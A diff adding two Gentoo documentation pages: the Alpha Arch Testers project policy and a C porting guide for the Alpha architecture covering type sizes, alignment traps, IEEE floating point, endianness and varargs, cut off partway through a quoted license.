+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/alpha/AT/index.xml">
+<title>Gentoo Linux Alpha Arch Testers Project</title>
+
+<author title="Author">
+  <mail link="ferdy@gentoo.org">Fernando J. Pereda</mail>
+</author>
+<author title="Editor">
+  <mail link="yoswink@gentoo.org">José Luis Rivero</mail>
+</author>
+
+<abstract>
+The Alpha Arch Tester project is heavily based on the AMD64 Arch Tester
+project and the PPC Arch Tester project. The project is meant to help
+the Alpha Arch Team providing an stable, secure and up to date Gentoo
+Linux port.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.4</version>
+<date>2007-07-07</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Abstract</title>
+<body>
+
+<p>
+The Alpha Arch Tester project is heavily based on the <uri
+link="/proj/en/base/amd64/at/index.xml">AMD64 Arch Tester</uri>
+project and the <uri link="/proj/en/base/ppc/AT/index.xml">PPC Arch Tester
+project</uri>. The project is meant to help the Alpha Arch Team providing an
+stable, secure and up to date Gentoo Linux port.
+</p>
+
+<p>
+Being an Arch Tester is the first step to becoming a developer, however,
+that does not mean every Arch Tester becomes a developer.
+</p>
+
+<p>
+The Alpha Arch Team will eventually ask Alpha Arch Testers to officially
+join the team as developers.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Becoming an Alpha Arch Tester</title>
+<section>
+<title>Basic Requirements</title>
+<body>
+
+<p>
+In order to become an Alpha Arch Tester there are some steps you have to
+follow. And you also have to fulfil some requirements.
+</p>
+
+<p>
+You should have Alpha hardware yourself. Being familiar with the Gentoo
+development style and ways is also 'a must'. Being an Arch Tester also
+requires having patience and being careful with testing.
+</p>
+
+<p>
+Although it is not a requirement, having basic C programming skills is
+good since arch testers are often asked to test patches or even patch
+code.
+</p>
+
+</body>
+</section>
+<section>
+<title>First Steps</title>
+<body>
+
+<p>
+Before you become an Alpha Arch Tester we ask you to show you are a good
+candidate for such a position. There are a number of ways to do that, we
+normally recommend that you 'watch' the <mail
+link="alpha@gentoo.org">alpha@gentoo.org</mail> user in <uri
+link="https://bugs.gentoo.org">bugs.gentoo.org</uri> and help out testing and
+fixing bugs.
+</p>
+
+<p>
+Helping out in <uri link="http://forums.gentoo.org/">forums</uri> and <uri
+link="/main/en/lists.xml">mailing lists</uri> is also good.
+</p>
+
+<p>
+Once you feel you have shown you are a good candidate, you can ask us to
+consider you as a new Alpha Arch Tester.
+</p>
+
+<p>
+The last step is taking a very <uri
+link="http://dev.gentoo.org/~klausman/alpha_at_quiz.txt">basic
+quiz</uri> about Gentoo in general and the Alpha architecture. The quiz
+has more instructions to follow once it's finished.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rights and tasks</title>
+<section>
+<title>What do I get for being an Alpha Arch Tester?</title>
+<body>
+
+<p>
+You will be given access to the resources used and provided by the arch
+team to its developers and arch testers.
+</p>
+
+<p>
+Once you are accepted as an Alpha Arch Tester you will be added to the
+<mail link="alpha@gentoo.org">alpha@gentoo.org</mail> alias; that way
+you can easily track the development of the arch team.
+</p>
+
+<p>
+Alpha Arch Testers will be covered by <uri
+link="/proj/en/glep/glep-0041.html">GLEP 41</uri> if it ever gets
+implemented. That means you will, officially, be part of the Gentoo
+Project.
+</p>
+
+</body>
+</section>
+<section>
+<title>What would you do as an Alpha Arch Tester</title>
+<body>
+
+<p>
+Once you become an Alpha Arch Tester you will be helping the Alpha Arch
+Team with keywording and general bug fixing duties.
+</p>
+
+<p>
+Alpha Arch Testers will not deal with security bugs, toolchain packages,
+nor <path>alpha/</path> profiles.
+</p>
+
+<p>
+The Alpha Arch Team will trust your abilities to test packages. The
+developer doing the final commit will be responsible for any
+breakages that might happen.
+</p>
+
+<p>
+The developer doing the final commit will add your name and email to
+both the <path>ChangeLog</path> and the commit message. That way you are
+given credit and we can keep track of your activity.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Leaving Alpha Arch Testers Project</title>
+<section>
+<title>How do I stop being an Alpha Arch Tester?</title>
+<body>
+
+<p>
+If you want to leave the project, that's fine.
+</p>
+
+<p>
+If you are inactive for a couple of months and we don't have any news
+from you we will assume you will not come back in a while and will mark
+you inactive, however you can join us again if you come back. If you
+come back, and still want to belong to the project, you will not have to
+go through the whole process.
+</p>
+
+<p>
+Everybody makes mistakes so you won't be given the boot if you make some
+mistakes. However, we ask you to do your job as good as possible, and if
+you continuously make mistakes we might ask you to reconsider if you
+want to belong to the project.
+</p>
+
+<p>
+If you become an Alpha Gentoo Developer, you will not be an Alpha Arch
+Tester anymore. However, being a Gentoo Developer and being an Alpha
+Arch Tester is perfect. Though we will probably ask you to join the Team
+in such situation.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>References</title>
+<section>
+<title>Useful links</title>
+<body>
+
+<p>
+The following documents may help you understand this policy and solve
+the quiz:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/gentoo-alpha-faq.xml">Gentoo/Alpha FAQ</uri>
+  </li>
+  <li>
+    <uri link="/proj/en/base/alpha/doc/alpha-porting-guide.xml">Gentoo/Alpha
+    Porting Guide</uri>
+  </li>
+  <li>
+    <uri
+    link="/proj/en/base/amd64/tests/index.xml?part=1&amp;chap=2">Gentoo/AMD64
+    Arch Testers Project procedures</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/index.xml?catid=gentoodev">Gentoo Documentation
+    Resources </uri>
+  </li>
+  <li>
+    <uri link="http://devmanual.gentoo.org/">DevManual</uri>
+  </li>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml">Developer Handbook</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo/Alpha Arch Testers</title>
+<section>
+<title>Gentoo/Alpha Contributors in the AT program</title>
+<body>
+
+<table>
+<tr>
+<th>Full Name</th>
+<th>Nickname</th>
+<th>Status</th>
+<th>Email</th>
+</tr>
+<tr>
+<ti>Matt Turner</ti>
+<ti>mattst88</ti>
+<ti>active</ti>
+<ti>mattst88@gmail.com</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/alpha/doc/alpha-porting-guide.xml b/xml/htdocs/proj/en/base/alpha/doc/alpha-porting-guide.xml
new file mode 100644
index 00000000..cdae740e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/doc/alpha-porting-guide.xml
@@ -0,0 +1,1106 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/alpha/doc/alpha-porting-guide.xml,v 1.2 2006/05/25 20:36:15 tcort Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/alpha/doc/alpha-porting-guide.xml">
+
+<title>Alpha Porting Guide</title>
+<author title="Author">
+  <mail link="tcort@cs.ubishops.ca">Thomas Cort</mail>
+</author>
+
+<abstract>
+This guide is intended to show C programmers how to port programs
+written on other architectures to the Alpha architecture.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2006-05-25</date>
+
+<chapter>
+<title>Overview</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+This guide is intended to show C programmers how to port programs
+written on other architectures to the Alpha architecture. The
+overview has some basic information that should be known when
+porting any application to Alpha. The subsequent sections will have
+example problems, explanations, and solutions. All of the code examples
+compile and work without warnings on i386 systems, but fail or are
+potentially unsafe on alpha.
+</p>
+
+</body>
+</section>
+<section>
+<title>Endianness</title>
+<body>
+
+<p>
+Linux/Alpha is <c>little endian</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Word Size</title>
+<body>
+
+<p>
+Alpha is a 64-bit platform. Alpha systems use a 64 bit kernel and a 64 bit
+userland.
+</p>
+
+</body>
+</section>
+<section>
+<title>Variable Sizes (in bytes)</title>
+
+<body>
+
+<p>
+The most important things to note here are that the size of <c>int</c> is
+not the same as the size of any of the pointer types and that the memory
+must be naturally aligned.
+</p>
+
+<table>
+  <tr>
+    <th>Type</th><th>Size</th><th>Alignment</th>
+    <th>Type</th><th>Size</th><th>Alignment</th>
+  </tr>
+  <tr>
+    <ti>char</ti><ti>1</ti><ti>Any</ti>
+    <ti>char*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>void</ti><ti>1</ti><ti>Any</ti>
+    <ti>void*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>short</ti><ti>2</ti><ti>2</ti>
+    <ti>short*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>float</ti><ti>4</ti><ti>4</ti>
+    <ti>float*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>int</ti><ti>4</ti><ti>4</ti>
+    <ti>int*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>double</ti><ti>8</ti><ti>8</ti>
+    <ti>double*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>long double</ti><ti>8</ti><ti>8</ti>
+    <ti>long double*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>long</ti><ti>8</ti><ti>8</ti>
+    <ti>long*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+  <tr>
+    <ti>long long</ti><ti>8</ti><ti>8</ti>
+    <ti>long long*</ti><ti>8</ti><ti>8</ti>
+  </tr>
+</table>
+
+<p>
+* sizes are the same for signed and unsigned variables.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Storage Size Mismatch</title>
+
+<section>
+<title>Identifying the Problem</title>
+<body>
+
+<p>
+You will see compile time warnings about casting between types of different
+sizes.
+</p>
+
+<pre caption="cast to pointer from integer of different size warning">
+tcort@topcat ~ $ gcc test.c
+test.c: In function `main':
+test.c:6: warning: cast to pointer from integer of different size
+tcort@topcat ~ $
+</pre>
+
+<pre caption="cast from pointer to integer of different size warning">
+tcort@topcat ~ $ gcc test.c
+test.c: In function `main':
+test.c:10: warning: cast from pointer to integer of different size
+tcort@topcat ~ $
+</pre>
+
+</body>
+</section>
+<section>
+<title>Explanation of the Problem</title>
+<body>
+
+<p>
+When you store a value in a variable of one size and convert it to another
+size, bits either get added or chopped from the original value. A lot of
+programmers assume that integers and pointers are the same size and cast freely
+between the two. While it works on x86 systems, it can cause problems on
+systems where the size of an integer is different than the size of a pointer.
+</p>
+
+<p>
+Below is an example of a cast to pointer from integer of different size. This
+cast is dangerous because we are casting a 64 bit pointer to a 32 bit integer.
+We effectively chop off the 32 most significant bits, then we try to access
+the memory at that 64 bit address using only the 32 least significant bits.
+This will cause a segfault unless your program is located in physical memory
+between address <c>0x0000000000000000</c> and address
+<c>0x00000000FFFFFFFF</c>.
+</p>
+
+<pre caption="cast to pointer from integer of different size">
+int main(void) {
+    /* Expected output: "Ice cream has no bones." */
+    /* Actual   output: "Segmentation fault"      */
+
+    int x = (int) "Ice cream has no bones.\n";
+    printf((const char*)x);
+    return 0;
+}
+</pre>
+
+<p>
+Below is an example of a cast from pointer to integer of different size.
+Usually this is done for pointer arithmetic. Most of the time the pointers
+we use are relatively close to each other and they have a good position in
+memory, so the program executes normally. However, problems occur when the
+calculations require more than 32 bits. The example below would seg fault if
+the <c>'!'</c> was located at <c>0x000000010000000e</c> and the array started
+at <c>0x00000000FFFFFFFF</c>.
+</p>
+
+<pre caption="cast from pointer to integer of different size">
+int main(void) {
+    /* Expected output: "Banana Phone" */
+    /* Actual   output: "Banana Phone" */
+
+    char c[16], *ptr;
+
+    strncpy(c,"Banana Phone\n!",16);
+
+    ptr = strchr(c,'!');        /* remove '!' by putting */
+    c[(int)ptr-(int)c]=0x00;    /* '\0' in its place   */
+
+    printf("%s",c);
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Finding a Solution</title>
+<body>
+
+<p>
+When programming, don't try to be smart and do tricks with pointers. Always
+use the appropriate type, and don't cast between pointer and non-pointer
+types. Following that advice creates more portable code, and the code
+produced is generally easier to read.
+</p>
+
+<pre caption="always use the appropriate storage class">
+int main(void) {
+    char *x = "Ice cream has no bones.\n";
+    printf(x);
+    return 0;
+}
+</pre>
+
+<p>
+When doing pointer arithmetic, you should avoid casting between pointer
+and non-pointer types as much as possible.
+</p>
+
+<pre caption="avoid casting when doing pointer arithmetic">
+int main(void) {
+    char c[16], *ptr;
+
+    strncpy(c,"Banana Phone\n!",16);
+
+    ptr = strchr(c,'!');        /* remove '!' by putting */
+    *(c+(ptr-c))=0x00;        /* '\0' in its place     */
+
+    printf("%s",c);
+    return 0;
+}
+</pre>
+
+<note>
+The above example is used to demonstrate pointer arithmetic without casting.
+Removing the <c>'!'</c> character can be done by <c>*ptr=0x00;</c> instead
+of doing <c>*(c+(ptr-c))=0x00;</c>.
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Unaligned Accesses</title>
+
+<section>
+<title>Identifying the Problem</title>
+<body>
+
+<p>
+The kernel will log an <b>unaligned trap</b>.
+</p>
+
+<pre caption="error message in the kernel log">
+Mar 14 22:07:25 [kernel] a.out(3572): unaligned trap at 0000000120000590: 0000000120010b52 2c 31
+</pre>
+
+</body>
+</section>
+<section>
+<title>Explanation of the Problem</title>
+<body>
+
+<p>
+On Alpha, all memory accesses have to be <b>naturally aligned</b>. For example,
+the address of a 4 byte integer must be a multiple of 4. The address of an
+8 byte (long) integer must be a multiple of 8. The compiler will do its
+best to align variables automatically, but sometimes you can override this
+by doing some pointer tricks or adding assembly language code.
+</p>
+
+<p>
+When a program does an unaligned memory access, the CPU traps into the kernel.
+The kernel then does an aligned access and returns the unaligned portion of
+memory that the program requested. The program continues to function normally
+as if nothing has happened.
+</p>
+
+<p>
+Even though the program will work correctly with unaligned accesses, you
+should try to remove as many unaligned accesses as possible because they
+cause a performance hit.
+</p>
+
+<p>
+The following example shows how to make an unaligned memory access by
+manipulating pointers.
+</p>
+
+<pre caption="unaligned memory access">
+int main(void) {
+    /* Expected results: Nothing appended to the kernel log */
+
+    /* Actual results: The following appended to the kernel log
+     *    unaligned trap at 0000000120000590: 0000000120010b52 2c 31
+     */
+
+    short x[10];
+    int  *y = (int*) (x+1);
+
+    *y = 0;
+
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Finding a Solution</title>
+<body>
+
+<p>
+The first step in fixing unaligned traps is determining where the
+unaligned access happens in our code. To do that we are going to use
+the following tool.
+</p>
+
+<pre caption="unalign.c - unaligned access debugging tool">
+#include &lt;errno.h&gt;
+#include &lt;stdio.h&gt;
+
+#ifndef __linux__
+#include &lt;sys/sysinfo.h&gt;
+#else
+#include &lt;asm/sysinfo.h&gt;
+#include &lt;asm/unistd.h&gt;
+static int setsysinfo(unsigned long op, void *buffer, unsigned long size,
+                        int *start, void *arg, unsigned long flag) {
+        syscall(__NR_osf_setsysinfo, op, buffer, size, start, arg, flag);
+}
+#endif
+
+static void usage(void) {
+        fprintf(stderr, "usage: unaligned &lt;command-path&gt; [command-args...]\n\n"
+        "  This program is designed to assist debugging of\n"
+        "  unaligned traps by running the program in gdb\n"
+        "  and causing it to get SIGBUS when it encounters\n"
+        "  an unaligned trap.\n\n"
+        "  It is free software written by Sean Hunter &gt;sean@uncarved.co.uk&lt;\n"
+        "  based on code by Richard Henderson and Andrew Morgan. It was further\n"
+        "  modified by Thomas Cort &lt;tcort@cs.ubishops.ca&gt;. It is provided\n"
+        "  under the gnu public license without warrantees of any kind.\n\n");
+
+        exit(1);
+}
+
+void trap_unaligned(void) {
+        unsigned int buf[2];
+        buf[0] = SSIN_UACPROC;
+        buf[1] = UAC_SIGBUS | UAC_NOPRINT;
+        setsysinfo(SSI_NVPAIRS, buf, 1, 0, 0, 0);
+}
+
+int main(int argc, char **argv) {
+        char *tmp_filename;
+        char* my_debugger = "/usr/bin/gdb";
+        FILE* tmp_file;
+        int curr_arg, pid, status;
+
+        /* check that we have at least 1 argument */
+        if (argc &lt; 2) {
+                usage();
+        }
+
+        trap_unaligned();
+
+        /* add the extra args to a file to pass to gdb */
+        tmp_filename = tmpnam(NULL);
+        tmp_file = fopen(tmp_filename, "w+");
+        if (!tmp_file) {
+                fprintf(stderr, "Unable to create temp file %s reason: %s\n",
+                        tmp_filename,
+                        strerror(errno));
+                exit(1);
+        }
+
+        fprintf(tmp_file, "file %s\n", argv[1]);
+        fprintf(tmp_file, "set args");
+
+        for(curr_arg = 2; curr_arg &lt; argc; curr_arg++) {
+                fprintf(tmp_file, " %s", argv[curr_arg]);
+        }
+
+        fprintf(tmp_file, "\n");
+        fprintf(tmp_file, "run\n");
+        fclose(tmp_file);
+
+        printf("Extra arguments passed to gdb in file %s.\n", tmp_filename);
+
+        if ((pid = fork()) &lt; 0) {
+                fprintf(stderr, "fork() failed!");
+                exit(1);
+        }
+
+        if (pid == 0) /*child*/ {
+
+                execlp(my_debugger, argv[1], "-x", tmp_filename, NULL);
+
+                /* if we fall through to here, our exec failed -- announce the fact */
+                fprintf(stderr, "Unable to execute command: %s\n", strerror(errno));
+
+                usage();
+        }
+
+        while (wait(&amp;status) != pid);
+
+        unlink(tmp_filename); /* clean up */
+        free(tmp_filename);
+}
+</pre>
+
+<p>
+Using this tool is very simple. Compile the code above. Then, compile your
+program with debugging information via the <c>-g3</c> compiler flag. Finally,
+execute <c>unalign</c> with the name of your program as an argument.
+</p>
+
+<pre caption="using unalign">
+tcort@topcat ~ $ gcc unalign.c -o unalign
+tcort@topcat ~ $ gcc test.c -g3
+tcort@topcat ~ $ ./unalign a.out
+Extra arguments passed to gdb in file /tmp/fileKAaEhf.
+GNU gdb 6.4
+Copyright 2005 Free Software Foundation, Inc.
+GDB is free software, covered by the GNU General Public License, and you are
+welcome to change it and/or distribute copies of it under certain conditions.
+Type "show copying" to see the conditions.
+There is absolutely no warranty for GDB.  Type "show warranty" for details.
+This GDB was configured as "alpha-unknown-linux-gnu".
+Using host libthread_db library "/lib/libthread_db.so.1".
+
+Program received signal SIGBUS, Bus error.
+0x00000001200005cc in main () at test.c:11
+11              *y = 0;
+(gdb) The program is running.  Exit anyway? (y or n) y
+Bus error
+</pre>
+
+<p>
+As with most programming problems, there are multiple solutions. In the
+first solution we simply pad <c>x</c> with some extra bytes so that <c>y</c>
+points to an aligned memory address.
+</p>
+
+<pre caption="no unaligned memory access">
+int main(void) {
+    short x[10+3];
+    int  *y = (int*) (x+4);
+
+    *y = 0;
+
+    return 0;
+}
+</pre>
+
+<p>
+In the second solution we use types with the same byte alignment to avoid
+the possibility of an unaligned access.
+</p>
+
+<pre caption="no unaligned memory access">
+int main(void) {
+    int x[10];
+    int  *y = (int*) (x+1);
+
+    *y = 0;
+
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>IEEE Floating Point Numbers</title>
+
+<section>
+<title>Identifying the Problem</title>
+<body>
+
+<p>
+You will encounter a Floating point exception at runtime.
+</p>
+
+<pre caption="Floating point exception">
+tcort@topcat ~ $ ./a.out
+Floating point exception
+tcort@topcat ~ $
+</pre>
+
+</body>
+</section>
+<section>
+<title>Explanation of the Problem</title>
+<body>
+
+<p>
+When the Alpha architecture's floating point unit was first designed, the
+designers traded performance for functionality. As a result, all Alpha systems
+below <c>EV6</c> do not fully implement the IEEE floating point standard. For
+those earlier systems, there is no hardware support for denormalized numbers or
+exceptional IEEE values like not a number and positive/negative infinity. If
+you wish to use those features, you must enable software assisted IEEE
+floating point at compile time and have kernel support for software
+completion enabled.
+</p>
+
+<pre caption="exceptional IEEE values">
+int main(void) {
+    /* Expected output: "x/y = inf"                */
+    /* Actual   output: "Floating point exception" */
+
+    double x = 1.0, y = 0.0;
+    printf ("x/y = %g\n", x/y);
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Finding a Solution</title>
+<body>
+
+<note>
+Alphas of model <c>EV6</c> or better do not need the <c>-mieee</c> compiler
+flag.
+</note>
+
+<p>
+Enable software assisted floating point at compile time with the <c>-mieee</c>
+compiler flag.
+</p>
+
+<pre caption="using the -mieee compiler flag">
+tcort@topcat ~ $ gcc -mieee test.c
+tcort@topcat ~ $ 
+</pre>
+
+<note>
+Using <c>-mieee</c> doesn't result in any noticeable slowdown and is 
+recommended in general.
+</note>
+
+<p>
+Enable kernel floating point software completion.
+</p>
+
+<pre caption="enabling kernel floating point software completion">
+Kernel hacking  --->
+  [*] Kernel debugging
+    &lt;*&gt;   Kernel FP software completion
+</pre>
+
+<p>
+You can make sure the program is being compiled with the <c>-mieee</c>
+compiler flag by checking for <c>_IEEE_FP</c>. It is defined when a 
+program is compiled with <c>-mieee</c>.
+</p>
+
+<pre caption="give an error if the program isn't compiled with -mieee">
+#if defined(__alpha) &amp;&amp; !defined(_IEEE_FP)
+#error "You must compile this program with the -mieee CFLAG on Alpha"
+#endif
+
+int main(void) {
+    double x = 1.0, y = 0.0;
+    printf ("x/y = %g\n", x/y);
+    return 0;
+}
+</pre>
+
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Forgetting Alpha Exists / Endianness</title>
+
+<section>
+<title>Identifying the Problem</title>
+<body>
+
+<p>
+You will get unexpected and/or incorrect results.
+</p>
+
+</body>
+</section>
+<section>
+<title>Explanation of the Problem</title>
+<body>
+
+<p>
+Sometimes programmers don't think about Alpha when conditionally compiling
+sections of code. They may make assumptions, or only consider a subset of
+all architectures.
+</p>
+
+<p>
+In the following example the programmer assumes that if the system compiling
+the program is <c>i386</c>, then it is little endian. The programmer also
+assumes that the only other system type that would compile this program is
+<c>ppc</c> and therefore would be big endian.
+</p>
+
+<pre caption="forget about alpha when determining endianness">
+int main(void) {
+    /* Expected output: "3" (works on x86 and ppc) */
+    /* Actual   output: "4" */
+
+    int x;
+    unsigned char y[4];
+    memset(y,0,sizeof(unsigned char)*4);
+
+    y[0]=0xff; y[1]=0x00;
+    y[2]=0xff; y[4]=0x00;
+
+    memcpy(&amp;x,y,4);
+
+#ifdef __i386
+    /* little endian */
+    x = (x&amp;1) + 2;
+#else /* __ppc */
+    /* big endian */
+    x = (x&amp;1) + 3;
+#endif
+
+        printf("%d\n",x);
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Finding a Solution</title>
+<body>
+
+<p>
+When determining whether the system compiling your program has a particular
+property (example, little endian vs. big endian), you should never use 
+<c>__arch</c>. If you do, then to ensure portability you will have to
+determine if the property exists or not for every architecture, and you will
+have to add new architectures as they are created. Instead you should 
+use preprocessor definitions, or a runtime check if the definitions are 
+not available.
+</p>
+
+<pre caption="correctly determining endianness">
+#include &lt;sys/param.h&gt;
+
+int is_big_endian() {
+    long l = 1;
+    return !(*((char *)(&amp;l)));
+}
+
+int main(void) {
+    int x;
+    unsigned char y[4];
+    memset(y,0,sizeof(unsigned char)*4);
+
+    y[0]=0xff; y[1]=0x00;
+    y[2]=0xff; y[4]=0x00;
+
+    memcpy(&amp;x,y,4);
+
+#ifdef __BYTE_ORDER
+#    if __BYTE_ORDER == __LITTLE_ENDIAN
+        x = (x&amp;1) + 2;
+#    else
+#        if __BYTE_ORDER == __BIG_ENDIAN
+            x = (x&amp;1) + 3;
+#        else
+            if (is_big_endian()) {
+                x = (x&amp;1) + 3;
+            } else {
+                x = (x&amp;1) + 2;
+            }
+#        endif
+#    endif
+#else
+    if (is_big_endian()) {
+        x = (x&amp;1) + 3;
+    } else {
+        x = (x&amp;1) + 2;
+    }
+#endif
+
+    printf("%d\n",x);
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Variable Length Parameter Lists</title>
+
+<section>
+<title>Identifying the Problem</title>
+<body>
+
+<p>
+You will get unexpected and/or incorrect results or possibly a crash.
+</p>
+
+</body>
+</section>
+<section>
+<title>Explanation of the Problem</title>
+<body>
+
+<p>
+Functions like <c>printf</c> can accept any number of arguments. The
+arguments are stored on the stack. Generally, they are accessed by doing 
+pointer arithmetic and casting. The direction in which you iterate over 
+the remaining arguments varies depending on architecture / operating system.
+On some systems you increment the pointer to reach the next parameter, 
+on other systems you decrement the pointer to reach the next paramater.
+Furthermore, there is no compile time storage size check, nor type 
+checking.
+</p>
+
+<pre caption="variable length parameter list">
+int sum(int n, ...) {
+    int sum, *arg;
+
+    /* sum n parameters (excluding the first) */
+    for(sum=0, arg=(int*)&amp;n+1; n--; sum+=*arg++)
+        /* nothing */;
+
+    return sum;
+}
+
+int main(void) {
+    /* Expected output: "1 + 2 + 3 - 2 = 4"         */
+    /* Actual   output: "1 + 2 + 3 - 2 = 536867769" */
+
+    printf("1 + 2 + 3 - 2 = %d\n",sum(4,1,2,3,-2));
+    return 0;
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Finding a Solution</title>
+<body>
+
+<p>
+Since accessing parameters is so system dependent, we cannot easily 
+write very portable code without the help of some preprocessor macros.
+Fortunately, those preprocessor macros are already written for us.
+</p>
+
+<pre caption="variable length parameter list using stdarg.h">
+#include &lt;stdarg.h&gt;
+
+int sum(int n, ...) {
+    int sum = 0;
+    va_list v;
+
+    va_start(v, n);
+
+    while(n--)
+        sum += va_arg(v, int);
+
+    va_end(v);
+    return sum;
+}
+
+int main(void) {
+    printf("1 + 2 + 3 - 2 = %d\n",sum(4,1,2,3,-2));
+    return 0;
+}
+</pre>
+
+<warn>
+Being portable does not imply being safe. Even if you use the macros in 
+<c>stdarg.h</c> you still have to be careful about sizes, types, and
+the number of parameters. Variable length parameter lists should be used
+only when absolutely needed.
+</warn>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Failure to determine CPU Frequency</title>
+
+<section>
+<title>Identifying the Problem</title>
+<body>
+
+<p>
+A program that displays or uses the CPU frequency for some purpose will
+fail at runtime.
+</p>
+
+</body>
+</section>
+<section>
+<title>Explanation of the Problem</title>
+<body>
+
+<p>
+There are some programs that determine the CPU frequency from 
+<c>/proc/cpuinfo</c>. The format of this file is slightly different on 
+Alpha. Below are example <c>/proc/cpuinfo</c> listings.
+</p>
+
+<pre caption="/proc/cpuinfo on amd64">
+processor       : 0
+vendor_id       : AuthenticAMD
+cpu family      : 15
+model           : 36
+model name      : AMD Turion(tm) 64 Mobile Technology ML-32
+stepping        : 2
+cpu MHz         : 1800.000
+cache size      : 512 KB
+fpu             : yes
+fpu_exception   : yes
+cpuid level     : 1
+wp              : yes
+flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge 
+mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt 
+lm 3dnowext 3dnow pni lahf_lm
+bogomips        : 3604.45
+TLB size        : 1024 4K pages
+clflush size    : 64
+cache_alignment : 64
+address sizes   : 40 bits physical, 48 bits virtual
+power management: ts fid vid ttp tm stc
+</pre>
+
+<p>
+Above, in the amd64 example, you will notice that the CPU frequency is 
+given on the <c>cpu MHz</c> line. Below, in the alpha example, you 
+will notice that the CPU frequency is given on the <c>cycle frequency 
+[Hz]</c> line.
+</p>
+
+<pre caption="/proc/cpuinfo on alpha">
+cpu                     : Alpha
+cpu model               : EV56
+cpu variation           : 7
+cpu revision            : 0
+cpu serial number       :
+system type             : Miata
+system variation        : 0
+system revision         : 0
+system serial number    :
+cycle frequency [Hz]    : 499714426 est.
+timer frequency [Hz]    : 1024.00
+page size [bytes]       : 8192
+phys. address bits      : 40
+max. addr. space #      : 127
+BogoMIPS                : 992.88
+kernel unaligned acc    : 196 (pc=fffffc0000517e44,va=2000001a032)
+user unaligned acc      : 171263 (pc=20000e6f610,va=1200c6f26)
+platform string         : Digital Personal WorkStation 500au
+cpus detected           : 1
+</pre>
+
+<p>
+conky is an advanced, highly configurable system monitor for X. The 
+program can display your CPU frequency. Below is the <c>/proc/cpuinfo</c>
+parser that comes with versions of conky prior to 1.4.1. It doesn't work 
+correctly on alpha. It reports a CPU frequency of 0 MHz.
+</p>
+
+<pre caption="/proc/cpuinfo parser from conky">
+Copyright (c) 2004, Hannu Saransaari and Lauri Hakkarainen
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+    * this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+    * notice, this list of conditions and the following disclaimer in the
+    * documentation and/or other materials provided with the distribution.
+    * Neither the name of the &lt;ORGANIZATION&gt; nor the names of its
+    * contributors may be used to endorse or promote products derived from
+    * this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
